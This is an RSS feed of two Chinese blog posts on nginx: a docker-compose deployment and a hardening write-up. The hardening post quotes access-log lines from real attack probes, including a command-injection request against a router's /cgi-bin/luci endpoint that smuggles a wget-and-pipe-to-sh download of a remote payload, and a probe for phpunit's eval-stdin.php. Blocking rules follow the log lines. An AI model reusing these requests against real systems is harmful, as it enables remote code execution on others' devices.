﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>BlogJava-paulwong-随笔分类-NGINX</title><link>http://www.blogjava.net/paulwong/category/54021.html</link><description /><language>zh-cn</language><lastBuildDate>Thu, 20 Jun 2024 01:42:24 GMT</lastBuildDate><pubDate>Thu, 20 Jun 2024 01:42:24 GMT</pubDate><ttl>60</ttl><item><title>部署docker版的nginx</title><link>http://www.blogjava.net/paulwong/archive/2024/06/19/451449.html</link><dc:creator>paulwong</dc:creator><author>paulwong</author><pubDate>Wed, 19 Jun 2024 14:03:00 GMT</pubDate><guid>http://www.blogjava.net/paulwong/archive/2024/06/19/451449.html</guid><wfw:comment>http://www.blogjava.net/paulwong/comments/451449.html</wfw:comment><comments>http://www.blogjava.net/paulwong/archive/2024/06/19/451449.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/paulwong/comments/commentRss/451449.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/paulwong/services/trackbacks/451449.html</trackback:ping><description><![CDATA[<div>使用docker compose搞配置方便，配置放在配置文件中，比放在启动命令直观。</div>
<div></div>
<div>docker-compose.yaml</div>
<div><br />
<div style="background-color:#eeeeee;font-size:13px;border:1px solid #CCCCCC;padding-right: 5px;padding-bottom: 4px;padding-left: 4px;padding-top: 4px;width: 98%;word-break:break-all"><!--<br />
<br />
Code highlighting produced by Actipro CodeHighlighter (freeware)<br />
http://www.CodeHighlighter.com/<br />
<br />
--><span style="color: #000000; ">version:&nbsp;'</span><span style="color: #000000; ">3.8</span><span style="color: #000000; ">'<br />
services:<br />
<br />
&nbsp;&nbsp;nginx-web:&nbsp;#这里注意名称随便起，但要保证在docker环境中维一，否则docker&nbsp;compose&nbsp;down时，会被全局down掉<br />
&nbsp;&nbsp;&nbsp;&nbsp;volumes:<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;-&nbsp;/opt/tool/nginx/data/html:/usr/share/nginx/html:ro&nbsp;#配置html文件在宿主机上<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;-&nbsp;/opt/tool/nginx/data/conf/nginx.conf:/etc/nginx/nginx.conf:ro&nbsp;#配置配置文件在宿主机上<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;-&nbsp;/opt/tool/nginx/data/conf/conf.d/default-web.conf:/etc/nginx/conf.d/default.conf:ro&nbsp;#配置配置文件在宿主机上<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;-&nbsp;/opt/tool/nginx/data/conf/.htpasswd:/etc/nginx/.htpasswd:ro&nbsp;#配置登录NGINX时要用到的用户名和密码文件<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;-&nbsp;/etc/localtime:/etc/localtime:ro&nbsp;#配置NGINX上的时钟与宿主机相同<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;-&nbsp;/opt/tool/nginx/data/log/access.log:/var/log/nginx/access.log&nbsp;#配置ACCESS文件在宿主机上<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;-&nbsp;/opt/tool/nginx/data/log/error.log:/var/log/nginx/error.log&nbsp;#配置ERROR文件在宿主机上<br />
&nbsp;&nbsp;&nbsp;&nbsp;container_name:&nbsp;nginx-web&nbsp;#容器名称，全局维一<br />
&nbsp;&nbsp;&nbsp;&nbsp;ports:<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;-&nbsp;</span><span style="color: #000000; ">"</span><span style="color: #000000; ">80:80</span><span style="color: #000000; ">"</span><span style="color: #000000; "><br />
&nbsp;&nbsp;&nbsp;&nbsp;image:&nbsp;nginx:latest<br />
&nbsp;&nbsp;&nbsp;&nbsp;#image:&nbsp;quay.io/ricardbejarano/nginx<br />
&nbsp;&nbsp;&nbsp;&nbsp;restart:&nbsp;unless-stopped<br />
</span></div>
</div>
<div>&nbsp;</div>
<div>&nbsp;启动命令 start-nginx.sh</div>
<div></div>
<div>
<div style="background-color:#eeeeee;font-size:13px;border:1px solid #CCCCCC;padding-right: 5px;padding-bottom: 4px;padding-left: 4px;padding-top: 4px;width: 98%;word-break:break-all"><!--<br />
<br />
Code highlighting produced by Actipro CodeHighlighter (freeware)<br />
http://www.CodeHighlighter.com/<br />
<br />
--><span style="color: #000000; ">cd&nbsp;$(cd&nbsp;`dirname&nbsp;$</span><span style="color: #000000; ">0</span><span style="color: #000000; ">`</span><span style="color: #008000; ">;</span><span style="color: #008000; ">&nbsp;pwd)</span><span style="color: #008000; "><br />
</span><span style="color: #000000; ">docker&nbsp;compose&nbsp;&nbsp;-f&nbsp;docker-compose-web.yaml&nbsp;down&nbsp;#启动前先把相应的镜像干掉<br />
docker&nbsp;compose&nbsp;&nbsp;-f&nbsp;docker-compose-web.yaml&nbsp;up&nbsp;-d&nbsp;&nbsp;#后台启动</span></div>
</div>
<div></div>
<div></div><div></div><div>login docker命令login-docker.sh</div><div></div><div><div style="background-color:#eeeeee;font-size:13px;border:1px solid #CCCCCC;padding-right: 5px;padding-bottom: 4px;padding-left: 4px;padding-top: 4px;width: 98%;word-break:break-all"><!--<br /><br />Code highlighting produced by Actipro CodeHighlighter (freeware)<br />http://www.CodeHighlighter.com/<br /><br />--><span style="color: #000000; ">docker&nbsp;exec&nbsp;-it&nbsp;nginx&nbsp;/bin/bash</span></div></div><div></div><div></div><div></div><img src ="http://www.blogjava.net/paulwong/aggbug/451449.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/paulwong/" target="_blank">paulwong</a> 2024-06-19 22:03 <a href="http://www.blogjava.net/paulwong/archive/2024/06/19/451449.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>NGINX的安全性配置</title><link>http://www.blogjava.net/paulwong/archive/2024/06/19/451448.html</link><dc:creator>paulwong</dc:creator><author>paulwong</author><pubDate>Wed, 19 Jun 2024 13:38:00 GMT</pubDate><guid>http://www.blogjava.net/paulwong/archive/2024/06/19/451448.html</guid><wfw:comment>http://www.blogjava.net/paulwong/comments/451448.html</wfw:comment><comments>http://www.blogjava.net/paulwong/archive/2024/06/19/451448.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/paulwong/comments/commentRss/451448.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/paulwong/services/trackbacks/451448.html</trackback:ping><description><![CDATA[<div>最近将一台HTTP服务器暴露于仅见，随即引来大量黑客的光顾，其实也就是发各种HTTP请求，以获取一个输入，输出界面，在输入界面输入SHELL命令，在输出界面观看结果，也就是说不用去到电脑前，用登录用户名和密码这种方法来登录，再跑各种命令。</div><div></div><div></div><div></div><div>日志显示有下面这些操作：</div><div><div style="background-color:#eeeeee;font-size:13px;border:1px solid #CCCCCC;padding-right: 5px;padding-bottom: 4px;padding-left: 4px;padding-top: 4px;width: 98%;word-break:break-all"><!--<br /><br />Code highlighting produced by Actipro CodeHighlighter (freeware)<br />http://www.CodeHighlighter.com/<br /><br />--><span style="color: #000000; ">185.191.127.212</span><span style="color: #000000; ">&nbsp;-&nbsp;-&nbsp;</span><span style="color: #800000; font-weight: bold; ">[</span><span style="color: #800000; ">19/Jun/2024:21:10:22&nbsp;+0800</span><span style="color: #800000; font-weight: bold; ">]</span><span style="color: #000000; ">&nbsp;</span><span style="color: #000000; ">"</span><span style="color: #000000; ">GET&nbsp;/cgi-bin/luci/;stok=/locale?form=country&amp;operation=write&amp;country=$(id%3E%60wget+http%3A%2F%2F103.149.28.141%2Ft+-O-+|+sh%60)&nbsp;HTTP/1.1</span><span style="color: #000000; ">"</span><span style="color: #000000; ">&nbsp;</span><span style="color: #000000; ">444</span><span style="color: #000000; ">&nbsp;</span><span style="color: #000000; ">0</span><span style="color: #000000; ">&nbsp;</span><span style="color: #000000; ">"</span><span style="color: #000000; ">-</span><span style="color: #000000; ">"</span><span style="color: #000000; ">&nbsp;</span><span style="color: #000000; ">"</span><span style="color: #000000; ">Go-http-client/1.1</span><span style="color: #000000; ">"</span><span style="color: #000000; ">&nbsp;</span><span style="color: #000000; ">"</span><span style="color: #000000; ">-</span><span style="color: #000000; ">"</span><span style="color: #000000; "><br /><br /></span><span style="color: #000000; ">60.221.228.127</span><span style="color: #000000; ">&nbsp;-&nbsp;-&nbsp;</span><span style="color: #800000; font-weight: bold; ">[</span><span style="color: #800000; ">15/Jun/2024:21:10:02&nbsp;+0800</span><span style="color: #800000; font-weight: bold; ">]</span><span style="color: #000000; ">&nbsp;</span><span style="color: #000000; ">"</span><span style="color: #000000; ">GET&nbsp;/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php&nbsp;HTTP/1.1</span><span style="color: #000000; ">"</span><span style="color: #000000; ">&nbsp;</span><span style="color: #000000; ">444</span><span style="color: #000000; ">&nbsp;</span><span style="color: #000000; ">0</span><span style="color: #000000; ">&nbsp;</span><span style="color: #000000; ">"</span><span style="color: #000000; ">-</span><span style="color: #000000; ">"</span><span style="color: #000000; ">&nbsp;</span><span style="color: #000000; ">"</span><span style="color: #000000; ">Custom-AsyncHttpClient</span><span style="color: #000000; ">"</span><span style="color: #000000; ">&nbsp;</span><span style="color: #000000; ">"</span><span style="color: #000000; ">-</span><span style="color: #000000; ">"</span></div></div><div></div><div></div><div></div><div>于是在NGINX上加上相应规则，遇到类似的直接返回444</div><div></div><div>其中/etc/nginx/conf/nginx.conf</div><div></div><div></div><div><div style="background-color:#eeeeee;font-size:13px;border:1px solid #CCCCCC;padding-right: 5px;padding-bottom: 4px;padding-left: 4px;padding-top: 4px;width: 98%;word-break:break-all"><!--<br /><br />Code highlighting produced by Actipro CodeHighlighter (freeware)<br />http://www.CodeHighlighter.com/<br /><br />--><span style="color: #000000; ">user&nbsp;&nbsp;nginx</span><span style="color: #008000; ">;<br /></span><span style="color: #000000; ">worker_processes&nbsp;&nbsp;auto</span><span style="color: #008000; ">;<br /></span><span style="color: #000000; "><br />error_log&nbsp;&nbsp;/var/log/nginx/error.log&nbsp;notice</span><span style="color: #008000; ">;<br /></span><span style="color: #000000; ">pid&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/var/run/nginx.pid</span><span style="color: #008000; ">;</span><span style="color: #000000; "><br />events&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;worker_connections&nbsp;&nbsp;</span><span style="color: #000000; ">1024</span><span style="color: #008000; ">;<br /></span><span style="color: #000000; ">}<br />http&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;#include&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/etc/nginx/mime.types</span><span style="color: #008000; ">;<br /></span><span style="color: #000000; ">&nbsp;&nbsp;&nbsp;&nbsp;#default_type&nbsp;&nbsp;application/octet-stream</span><span style="color: #008000; ">;<br /></span><span style="color: #000000; "><br />&nbsp;&nbsp;&nbsp;&nbsp;#paul-</span><span style="color: #000000; ">1</span><span style="color: #000000; "><br />&nbsp;&nbsp;&nbsp;&nbsp;server_tokens&nbsp;off</span><span style="color: #008000; ">;<br /></span><span style="color: #000000; ">&nbsp;&nbsp;&nbsp;&nbsp;map&nbsp;$remote_addr&nbsp;$loggable&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;~^</span><span style="color: #000000; ">192</span><span style="color: #000000; ">\</span><span style="color: #000000; ">.168</span><span style="color: #000000; ">\</span><span style="color: #000000; ">.1</span><span style="color: #000000; ">&nbsp;</span><span style="color: #000000; ">0</span><span style="color: #008000; ">;</span><span style="color: #008000; ">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#&nbsp;如果IP以192开头，则不记录日志</span><span style="color: #008000; "><br /></span><span style="color: #000000; ">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;~^</span><span style="color: #000000; ">219</span><span style="color: #000000; ">\</span><span style="color: #000000; ">.888</span><span style="color: #000000; ">\</span><span style="color: #000000; ">.888</span><span style="color: #000000; ">\</span><span style="color: #000000; ">.888</span><span style="color: #000000; ">&nbsp;</span><span style="color: #000000; ">0</span><span style="color: #008000; ">;</span><span style="color: #008000; ">&nbsp;#&nbsp;如果IP是219.888.888.8，则不记录日志</span><span style="color: #008000; "><br /></span><span style="color: #000000; ">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;default&nbsp;</span><span style="color: #000000; ">1</span><span style="color: #008000; ">;</span><span style="color: #008000; ">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#&nbsp;其他情况默认记录日志</span><span style="color: #008000; "><br /></span><span style="color: #000000; ">&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;log_format&nbsp;&nbsp;main&nbsp;&nbsp;'$remote_addr&nbsp;-&nbsp;$remote_user&nbsp;</span><span style="color: #800000; font-weight: bold; ">[</span><span style="color: #800000; ">$time_local</span><span style="color: #800000; font-weight: bold; ">]</span><span style="color: #000000; ">&nbsp;</span><span style="color: #000000; ">"</span><span style="color: #000000; ">$request</span><span style="color: #000000; ">"</span><span style="color: #000000; ">&nbsp;'<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'$status&nbsp;$body_bytes_sent&nbsp;</span><span style="color: #000000; ">"</span><span style="color: #000000; ">$http_referer</span><span style="color: #000000; ">"</span><span style="color: #000000; ">&nbsp;'<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;'</span><span style="color: #000000; ">"</span><span style="color: #000000; ">$http_user_agent</span><span style="color: #000000; ">"</span><span style="color: #000000; ">&nbsp;</span><span style="color: #000000; ">"</span><span style="color: #000000; ">$http_x_forwarded_for</span><span style="color: #000000; ">"</span><span style="color: #000000; ">'</span><span style="color: #008000; ">;<br /></span><span style="color: #000000; "><br />&nbsp;&nbsp;&nbsp;&nbsp;#paul-</span><span style="color: #000000; ">2</span><span style="color: #000000; "><br />&nbsp;&nbsp;&nbsp;&nbsp;access_log&nbsp;&nbsp;/var/log/nginx/access.log&nbsp;&nbsp;main&nbsp;if</span><span style="color: #000000; ">=</span><span style="color: #000000; ">$loggable</span><span style="color: #008000; ">;＃引用上面的规则<br /></span><span style="color: #000000; "><br />&nbsp;&nbsp;&nbsp;&nbsp;sendfile&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;on</span><span style="color: #008000; ">;<br /></span><span style="color: #000000; ">&nbsp;&nbsp;&nbsp;&nbsp;#tcp_nopush&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;on</span><span style="color: #008000; ">;</span><span style="color: #000000; "><br />&nbsp;&nbsp;&nbsp;&nbsp;keepalive_timeout&nbsp;&nbsp;</span><span style="color: #000000; ">65</span><span style="color: #008000; ">;</span><span style="color: #000000; "><br />&nbsp;&nbsp;&nbsp;&nbsp;#gzip&nbsp;&nbsp;on</span><span style="color: #008000; ">;</span><span style="color: #000000; "><br />&nbsp;&nbsp;&nbsp;&nbsp;include&nbsp;/etc/nginx/conf.d/*.conf</span><span style="color: #008000; ">;</span><span style="color: #000000; "><br />&nbsp;&nbsp;&nbsp;&nbsp;map&nbsp;$http_upgrade&nbsp;$connection_upgrade&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;default&nbsp;upgrade</span><span style="color: #008000; ">;<br /></span><span style="color: #000000; ">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;''&nbsp;close</span><span style="color: #008000; ">;<br /></span><span style="color: #000000; ">&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;upstream&nbsp;uvicorn&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;server&nbsp;unix:/tmp/uvicorn.sock</span><span style="color: #008000; ">;<br /></span><span style="color: #000000; ">&nbsp;&nbsp;&nbsp;&nbsp;}<br />}<br /></span></div></div><div></div><div></div><div></div><div></div><div>/etc/nginx/conf/conf.d/default.conf，这里是将请求转发后到后端的配置</div><div></div><div></div><div></div><div><div style="background-color:#eeeeee;font-size:13px;border:1px solid #CCCCCC;padding-right: 5px;padding-bottom: 4px;padding-left: 4px;padding-top: 4px;width: 98%;word-break:break-all"><!--<br /><br />Code highlighting produced by Actipro CodeHighlighter (freeware)<br />http://www.CodeHighlighter.com/<br /><br />--><span style="color: #000000; ">server&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;listen&nbsp;</span><span style="color: #000000; ">81</span><span style="color: #008000; ">;<br /></span><span style="color: #000000; ">&nbsp;&nbsp;&nbsp;&nbsp;listen&nbsp;&nbsp;</span><span style="color: #800000; font-weight: bold; ">[</span><span style="color: #800000; ">::</span><span style="color: #800000; font-weight: bold; ">]</span><span style="color: #000000; ">:</span><span style="color: #000000; ">80</span><span style="color: #008000; ">;<br /></span><span style="color: #000000; ">&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;#paul-</span><span style="color: #000000; ">3</span><span style="color: #000000; "><br />&nbsp;&nbsp;&nbsp;&nbsp;server_name&nbsp;paulwong88.com</span><span style="color: #008000; ">;<br /></span><span style="color: #000000; "><br />&nbsp;&nbsp;&nbsp;&nbsp;#paul-</span><span style="color: #000000; ">4</span><span style="color: #000000; "><br />&nbsp;&nbsp;&nbsp;&nbsp;#&nbsp;验证&nbsp;Host&nbsp;头部是否为您的域名<br />&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;($host&nbsp;!</span><span style="color: #000000; ">=</span><span style="color: #000000; ">&nbsp;'paulwong88.com')&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #000000; ">444</span><span style="color: #008000; ">;</span><span style="color: #008000; ">&nbsp;&nbsp;#&nbsp;对非授权域名的请求直接关闭连接</span><span style="color: #008000; "><br /></span><span style="color: #000000; ">&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;client_max_body_size&nbsp;4G</span><span style="color: #008000; ">;</span><span style="color: #000000; "><br />&nbsp;&nbsp;&nbsp;&nbsp;#server_name&nbsp;localhost</span><span style="color: #008000; ">;<br /></span><span style="color: #000000; "><br />&nbsp;&nbsp;&nbsp;&nbsp;location&nbsp;/&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#include&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/etc/nginx/mime.types</span><span style="color: #008000; ">; <br /></span><span style="color: #000000; ">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#default_type&nbsp;&nbsp;application/octet-stream</span><span style="color: #008000; ">;<br /></span><span style="color: #000000; ">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;add_header&nbsp;'Cache-control'&nbsp;'no-cache'</span><span style="color: #008000; ">;<br /></span><span style="color: #000000; ">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;proxy_set_header&nbsp;Host&nbsp;$http_host</span><span style="color: #008000; ">;<br /></span><span style="color: #000000; ">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;proxy_set_header&nbsp;X-Forwarded-For&nbsp;$proxy_add_x_forwarded_for</span><span style="color: #008000; ">;<br /></span><span style="color: #000000; ">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;proxy_set_header&nbsp;X-Forwarded-Proto&nbsp;$scheme</span><span style="color: #008000; ">;<br /></span><span style="color: #000000; ">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;proxy_set_header&nbsp;Upgrade&nbsp;$http_upgrade</span><span style="color: #008000; ">;<br /></span><span style="color: #000000; ">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;proxy_set_header&nbsp;Connection&nbsp;$connection_upgrade</span><span style="color: #008000; ">;<br /></span><span style="color: #000000; ">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;proxy_redirect&nbsp;off</span><span style="color: #008000; ">;<br /></span><span style="color: #000000; ">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;proxy_buffering&nbsp;off</span><span style="color: #008000; ">;<br /></span><span style="color: #000000; ">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;proxy_pass&nbsp;http://open-webui:</span><span style="color: #000000; ">8080</span><span style="color: #008000; ">;<br /></span><span style="color: #000000; ">&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;#paul-</span><span style="color: #000000; ">5</span><span style="color: #000000; "><br />&nbsp;&nbsp;&nbsp;&nbsp;location&nbsp;~&nbsp;^/cgi-bin/&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;deny&nbsp;all</span><span style="color: #008000; ">;</span><span style="color: #008000; ">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #008000; "><br /></span><span style="color: #000000; ">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #000000; ">444</span><span style="color: #008000; ">;</span><span style="color: #008000; ">#&nbsp;限制对&nbsp;CGI&nbsp;目录的访问</span><span style="color: #008000; "><br /></span><span style="color: #000000; ">&nbsp;&nbsp;&nbsp;&nbsp;}<br />}<br /></span></div></div><div></div><div></div><div></div><div></div><div>/etc/nginx/conf/conf.d/default-web.conf，这里是放置静态页面的配置</div><div></div><div></div><div></div><div><div style="background-color:#eeeeee;font-size:13px;border:1px solid #CCCCCC;padding-right: 5px;padding-bottom: 4px;padding-left: 4px;padding-top: 4px;width: 98%;word-break:break-all"><!--<br /><br />Code highlighting produced by Actipro CodeHighlighter (freeware)<br />http://www.CodeHighlighter.com/<br /><br />--><span style="color: #000000; ">server&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;listen&nbsp;</span><span style="color: #000000; ">80</span><span style="color: #008000; ">;<br /></span><span style="color: #000000; ">&nbsp;&nbsp;&nbsp;&nbsp;listen&nbsp;&nbsp;</span><span style="color: #800000; font-weight: bold; ">[</span><span style="color: #800000; ">::</span><span style="color: #800000; font-weight: bold; ">]</span><span style="color: #000000; ">:</span><span style="color: #000000; ">80</span><span style="color: #008000; ">;<br /></span><span style="color: #000000; ">&nbsp;&nbsp;&nbsp;&nbsp;expires&nbsp;-</span><span style="color: #000000; ">1</span><span style="color: #008000; ">;<br /></span><span style="color: #000000; ">&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;#paul-</span><span style="color: #000000; ">3</span><span style="color: #000000; "><br />&nbsp;&nbsp;&nbsp;&nbsp;server_name&nbsp;paulwong88.com</span><span style="color: #008000; ">;<br /></span><span style="color: #000000; "><br />&nbsp;&nbsp;&nbsp;&nbsp;#paul-</span><span style="color: #000000; ">4</span><span style="color: #000000; "><br />&nbsp;&nbsp;&nbsp;&nbsp;#&nbsp;验证&nbsp;Host&nbsp;头部是否为您的域名<br />&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;($host&nbsp;!</span><span style="color: #000000; ">=</span><span style="color: #000000; ">&nbsp;'paulwong88.com')&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #000000; ">444</span><span style="color: #008000; ">;</span><span style="color: #008000; ">&nbsp;&nbsp;#&nbsp;对非授权域名的请求直接关闭连接</span><span style="color: #008000; "><br /></span><span style="color: #000000; ">&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;client_max_body_size&nbsp;4G</span><span style="color: #008000; ">;</span><span style="color: #000000; "><br />&nbsp;&nbsp;&nbsp;&nbsp;#server_name&nbsp;localhost</span><span style="color: #008000; ">;<br /></span><span style="color: #000000; "><br />&nbsp;&nbsp;&nbsp;&nbsp;location&nbsp;/&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#如果不加，nginx会乱发http头，导致浏览器无法解析css</span><span style="color: #000000; ">,</span><span style="color: #000000; ">js这种文件<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;include&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/etc/nginx/mime.types</span><span style="color: #008000; ">;</span><span style="color: #008000; ">&nbsp;#默认在http中是有这个配置的，但又重复了一遍，告诉nginx如果碰到各种后缀，如.css，应如何添加http头</span><span style="color: #008000; "><br /></span><span style="color: #000000; ">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;default_type&nbsp;&nbsp;application/octet-stream</span><span style="color: #008000; ">;</span><span style="color: #008000; ">&nbsp;#默认在http中是有这个配置的，但又重复了一遍，加默认要加的http头</span><span style="color: #008000; "><br /></span><span style="color: #000000; ">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;root&nbsp;&nbsp;&nbsp;/usr/share/nginx/html</span><span style="color: #008000; ">;<br /></span><span style="color: #000000; ">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;index&nbsp;&nbsp;index.html&nbsp;index.htm</span><span style="color: #008000; ">;<br /></span><span style="color: #000000; ">&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;#paul-</span><span style="color: #000000; ">5</span><span style="color: #000000; "><br />&nbsp;&nbsp;&nbsp;&nbsp;location&nbsp;~&nbsp;^/cgi-bin/&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;deny&nbsp;all</span><span style="color: #008000; ">;</span><span style="color: #008000; ">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #008000; "><br /></span><span style="color: #000000; ">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #000000; ">444</span><span style="color: #008000; ">;</span><span style="color: #008000; ">#&nbsp;限制对&nbsp;CGI&nbsp;目录的访问</span><span style="color: #008000; "><br /></span><span style="color: #000000; ">&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;#location&nbsp;/static&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#&nbsp;path&nbsp;for&nbsp;static&nbsp;files<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#root&nbsp;/path/to/app/static</span><span style="color: #008000; ">;<br /></span><span style="color: #000000; ">&nbsp;&nbsp;&nbsp;&nbsp;#}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;#网上建议这样加，但发现没效果<br />&nbsp;&nbsp;&nbsp;&nbsp;#location&nbsp;~&nbsp;\.css&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#root&nbsp;&nbsp;&nbsp;/usr/share/nginx/html</span><span style="color: #008000; ">;<br /></span><span style="color: #000000; ">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#add_header&nbsp;&nbsp;Content-Type&nbsp;&nbsp;&nbsp;&nbsp;text/css</span><span style="color: #008000; ">;<br /></span><span style="color: #000000; ">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#default_type&nbsp;text/css</span><span style="color: #008000; ">;<br /></span><span style="color: #000000; ">&nbsp;&nbsp;&nbsp;&nbsp;#}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;#location&nbsp;~&nbsp;\.js&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#root&nbsp;&nbsp;&nbsp;/usr/share/nginx/html</span><span style="color: #008000; ">;<br /></span><span style="color: #000000; ">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#add_header&nbsp;&nbsp;Content-Type&nbsp;&nbsp;&nbsp;&nbsp;application/x-javascript</span><span style="color: #008000; ">;<br /></span><span style="color: #000000; ">&nbsp;&nbsp;&nbsp;&nbsp;#}<br />}<br /></span></div></div><div></div><div></div><div></div><div>这样基本各路黑客输入一条命令后，基本就打退堂鼓了。</div><div></div><img src ="http://www.blogjava.net/paulwong/aggbug/451448.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/paulwong/" target="_blank">paulwong</a> 2024-06-19 21:38 <a 